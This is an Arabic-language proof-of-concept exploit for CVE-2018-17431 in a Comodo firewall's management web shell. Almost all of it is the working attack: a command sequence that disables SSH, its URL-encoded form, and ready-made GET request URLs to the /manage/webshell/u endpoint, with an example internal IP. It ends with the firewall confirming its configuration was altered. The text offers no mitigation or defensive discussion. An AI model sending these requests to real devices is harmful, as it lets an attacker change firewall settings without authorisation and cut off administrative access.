
إثبات المفهوم لـ CVE-2018-17431
إثبات المفهوم لـ CVE-2018-17431
الاستغلال:
محاكاة Web Shell:
على سبيل المثال تعطيل SSH في Web shell يكون كالتالي:
- service [اضغط Enter]
- ssh [اضغط Enter]
- disable [اضغط Enter]
الترميز
قم بترميز التسلسل أعلاه باستخدام URL ENCODING
(استخدمت إضافة Burp Encoder)
%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
التنفيذ
الرابط الأساسي: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (مفتاح Enter إضافي لتنفيذ الأمر)
مثال: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
ستظهر صفحة برسالة "Configuration has been altered" وسيتم تغيير الإعدادات!